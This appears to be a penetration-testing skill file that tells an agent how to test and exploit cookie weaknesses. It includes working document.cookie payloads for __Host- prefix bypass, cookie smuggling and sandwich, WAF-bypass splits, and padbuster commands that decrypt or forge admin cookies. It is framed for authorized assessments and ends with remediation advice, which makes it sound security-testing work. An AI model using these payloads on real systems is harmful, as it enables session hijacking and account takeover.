exploiting-cookie-based-vulnerabilities

star 618

Testing and exploiting cookie-related weaknesses including attribute misconfiguration (SameSite, HttpOnly, Secure, Domain, Path), cookie prefix bypasses (__Host-/__Secure-), parser-discrepancy attacks (cookie smuggling, sandwich, $Version legacy parsing), cookie tossing/fixation, and weak/predictable or crypto-flawed (padding-oracle, ECB, CBC-MAC) session cookies. Activates when assessing session management, CSRF cookie defenses, or any flow that trusts cookie values.

xalgord By xalgord schedule Updated 6/6/2026

name: exploiting-cookie-based-vulnerabilities description: Testing and exploiting cookie-related weaknesses including attribute misconfiguration (SameSite, HttpOnly, Secure, Domain, Path), cookie prefix bypasses (__Host-/__Secure-), parser-discrepancy attacks (cookie smuggling, sandwich, $Version legacy parsing), cookie tossing/fixation, and weak/predictable or crypto-flawed (padding-oracle, ECB, CBC-MAC) session cookies. Activates when assessing session management, CSRF cookie defenses, or any flow that trusts cookie values. domain: cybersecurity subdomain: web-application-security tags:

  • penetration-testing
  • cookie-security
  • session-management
  • owasp
  • web-security version: '1.0' author: xalgorix license: Apache-2.0

Exploiting Cookie-Based Vulnerabilities

When to Use

  • During authorized assessments of session management, authentication, and CSRF cookie defenses
  • When the app sets custom cookies that may encode sensitive data (user IDs, roles, encrypted blobs)
  • When you control or find XSS on a subdomain (cookie tossing / fixation / prefix overwrite)
  • When testing front-end/back-end parser discrepancies behind proxies, WAFs, or legacy Java/Python stacks
  • When a session cookie looks Base64/hex-encoded and might be decodable, forgeable, or crypto-weak

Prerequisites

  • Authorization: Engagement scope covering session/auth testing with test accounts (attacker + victim)
  • Burp Suite: Repeater for crafting raw Cookie headers and the CookiePrefixBypass.bambda custom action
  • padbuster: For padding-oracle decryption/forgery of CBC-encrypted cookies
  • Browser devtools / two profiles: To set cookies via document.cookie and test cross-context binding
  • CyberChef: For decoding/encoding Base64, hex, and inspecting cookie structure

Critical: Variants Most Often Missed

Scanners flag "missing HttpOnly/Secure" and stop. The high-impact bugs are parser discrepancies and crypto weaknesses. Test every variant below.

# 1. __Host-/__Secure- prefix overwrite from a subdomain (parser tricks)
#    Prepend Unicode whitespace the BROWSER keeps but the BACKEND trims:
document.cookie = `${String.fromCodePoint(0x2000)}__Host-name=injected; Domain=.example.com; Path=/;`
#    Trimmed code points: U+0085 U+00A0 U+1680 U+2000-200A U+2028 U+2029 U+202F U+205F U+3000
#    Safari blocks multibyte but allows single-byte U+0085 / U+00A0 -> cross-test browsers.

# 2. Legacy RFC2109/2965 parsing via $Version=1 (Tomcat/Jetty/Undertow)
document.cookie = `$Version=1,__Host-name=injected; Path=/somethingreallylong/; Domain=.example.com;`

# 3. Empty-name cookie smuggling (control other cookies)
document.cookie = "=test value;"        // header becomes: a=v1; test value; b=v2
document.cookie = "=a=b"                 // server reads cookie "a"="b"

# 4. Quoted-value cookie smuggling (Java/Python read quotes as one value)
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";

# 5. Cookie sandwich to steal HttpOnly (PortSwigger)
document.cookie = `$Version=1;`;
document.cookie = `param1="start`;       // victim HttpOnly cookie gets trapped inside
document.cookie = `param2=end";`;

# 6. WAF bypass via cookie splitting / escaped values
Cookie: name=eval('test//
Cookie: comment')                         // joined: name=eval('test//, comment') => allowed
# "\e\v\a\l\(\'\t\e\s\t\'\)"  (escaped) bypasses "eval('test')" blocklist

# 7. Crypto-weak session cookies
#    - Base64-decodable -> tamper user/role
#    - Padding oracle (CBC) -> padbuster decrypt/forge
#    - ECB -> block shuffling username -> admin
#    - Static-key cipher (e.g. IDEA+hex) -> forge cookie for any user ID offline

How to CONFIRM a hit (avoid false negatives)

  • Prefix overwrite: after setting the whitespace/$Version variant from a subdomain, the server-side request shows the protected __Host-/__Secure- cookie carrying YOUR value (duplicate-name "last wins"). Confirm via a reflected value, CSRF-token override, or session swap.
  • Smuggling: the backend parses a forged cookie (e.g., a spoofed CSRF token) out of a single attacker-controlled cookie string — verify by observing the app accept the injected value.
  • Crypto: padbuster returns plaintext (oracle confirmed) or a re-encrypted user=administrator cookie that the app accepts as that user; for ECB, an "a"*blocksize+"admin" trick yields a working admin cookie.
  • Tossing/fixation: the victim's authenticated actions occur in the attacker's account context, or a pre-set cookie remains valid after the victim logs in.
  • Always confirm with a concrete privileged action (access another user's data, elevated role) rather than just a parsing observation.

Workflow

Step 1: Inventory Cookies and Attributes

# Capture Set-Cookie attributes; note SameSite, HttpOnly, Secure, Domain, Path, prefix
curl -sI https://target.example.com/ | grep -i set-cookie

Flag: SameSite=None without need, missing HttpOnly on session, Domain set to parent (subdomain exposure), no __Host- prefix on session cookies.

Step 2: Decode and Tamper Cookie Contents

# Try Base64/hex decode of opaque cookies
echo 'eyJ1c2VyIjoiYm9iIn0' | base64 -d
# Modify decoded data (user/role/id), re-encode, replay, observe privilege change

Step 3: Test Prefix Overwrite from a Subdomain

// From an XSS/controlled subdomain, attempt to set a parent __Host- cookie
document.cookie = `${String.fromCodePoint(0x2000)}__Host-session=attacker; Domain=.example.com; Path=/;`;
// Also try $Version=1 legacy parsing variant
document.cookie = `$Version=1,__Host-session=attacker; Path=/long/; Domain=.example.com;`;

Use Burp to send multiple leading code points (U+2000, U+0085, U+00A0) and observe whether the backend normalizes the name to the prefixed form.

Step 4: Cookie Smuggling / Sandwich / WAF Bypass

// Sandwich to capture an HttpOnly cookie reflected in a response
document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
document.cookie = `param2=end";`;

Send duplicate cookies across multiple Cookie: headers to test back-end joining and WAF blocklist bypasses.

Step 5: Attack Crypto-Weak Session Cookies

# Padding oracle: decrypt
padbuster http://web.com/index.php <COOKIE> 8 -cookies auth=<COOKIE>
# Padding oracle: forge an admin cookie
padbuster http://web.com/index.php <COOKIE> 8 -cookies thecookie=<COOKIE> -plaintext user=administrator
# ECB: register username = "a"*blocksize + "admin", then splice blocks to mint admin

If the cookie is a static-key cipher (e.g., IDEA + hex), encrypt the target user ID offline and set the forged value directly — no credentials needed.

Step 6: Cookie Tossing & Session Fixation

// From a controlled subdomain, set a path/domain-scoped cookie that the parent reads
document.cookie = "session=attacker_value; Domain=.example.com; Path=/";

Test whether the app issues a NEW session on login (if not, a fixed/attacker-supplied cookie persists and enables fixation/tossing).

Key Concepts

Concept Description
SameSite Strict/Lax/None controls cross-site sending; Chrome defaults unset cookies to Lax
__Host- / __Secure- Prefixes enforce Secure, HTTPS origin, no Domain, Path=/ — meant to block subdomain overwrite
Prefix Bypass Leading Unicode whitespace or $Version=1 legacy parsing tricks servers into accepting forged prefixed cookies
Cookie Smuggling Empty-name/quoted-value parser quirks let one cookie string inject extra logical cookies
Cookie Sandwich $Version=1 + open/close quotes traps an HttpOnly cookie so it gets reflected
Cookie Tossing Setting a cookie from a subdomain that the parent domain consumes
Padding Oracle / ECB / CBC-MAC CBC error oracle decrypts/forges; ECB allows block shuffling; CBC-MAC with null IV is forgeable
Static-Key Cipher Cookie = encrypt(userID) under a global hard-coded key; forge any user offline

Tools & Systems

Tool Purpose
Burp Suite + CookiePrefixBypass.bambda Craft raw Cookie headers; automate prefix/smuggling probes
padbuster Padding-oracle decryption and forgery of CBC-encrypted cookies
CyberChef Decode/encode Base64/hex; inspect cookie structure
Browser devtools / two profiles Set cookies via document.cookie; test cross-context binding
http.cookie / framework parsers Reproduce server-side normalization (e.g., Django str.strip) to predict bypasses

Common Scenarios

Scenario 1: __Host- Overwrite via Unicode Whitespace

An XSS on sub.example.com sets \u2000__Host-session=...; Domain=.example.com. The Django backend trims the leading code point, normalizes the name to __Host-session, and (last-wins) adopts the attacker's value as the privileged session.

Scenario 2: Cookie Sandwich Steals HttpOnly Session

A page reflects a benign cookie in its response. Using $Version=1 plus open/close quoted cookies, the attacker traps the HttpOnly SESSION value inside the reflected cookie and exfiltrates it.

Scenario 3: Static-Key Cookie Forgery

The app issues COOKIEID = IDEA-encrypted user ID, hex-encoded, under a hard-coded key. The tester encrypts ID 1 offline, matches the format, and forges an admin cookie — full pre-auth bypass with no credentials.

Output Format

## Cookie Vulnerability Finding

**Vulnerability**: __Host- Cookie Overwrite via Parser Discrepancy
**Severity**: High (CVSS 8.1)
**Location**: Cookie parsing on example.com (Django backend) + sub.example.com XSS
**OWASP Category**: A07:2021 - Identification and Authentication Failures

### Reproduction Steps
1. From sub.example.com (controlled), run document.cookie with leading U+2000 + __Host-session and Domain=.example.com
2. Browser stores the cookie because the name does not literally start with __Host-
3. example.com backend trims the Unicode whitespace, normalizing to __Host-session
4. Duplicate-name resolution (last wins) adopts the attacker value
5. Confirmed session swap: requests now resolve to the attacker-controlled value, enabling CSRF-token override / fixation

### Evidence
| Item | Value |
|------|-------|
| On-the-wire name | \u2000__Host-session |
| Server-normalized name | __Host-session |
| Resolution | last occurrence wins |
| Impact | session fixation / CSRF token override |

### Recommendation
1. Reject cookie names containing leading/embedded Unicode whitespace; do not trim before prefix checks
2. Disable legacy RFC2109/2965 parsing ($Version) on the server/proxy
3. Enforce HttpOnly + Secure + SameSite and use __Host- consistently for session cookies
4. Issue a fresh session ID on login; bind sessions to additional context to prevent fixation/tossing
5. Replace home-grown cookie crypto with authenticated, server-side sessions (random IDs)
Install via CLI
npx skills add https://github.com/xalgord/xalgorix --skill exploiting-cookie-based-vulnerabilities
Repository Details
star Stars 618
call_split Forks 109
navigation Branch main
article Path SKILL.md
More from Creator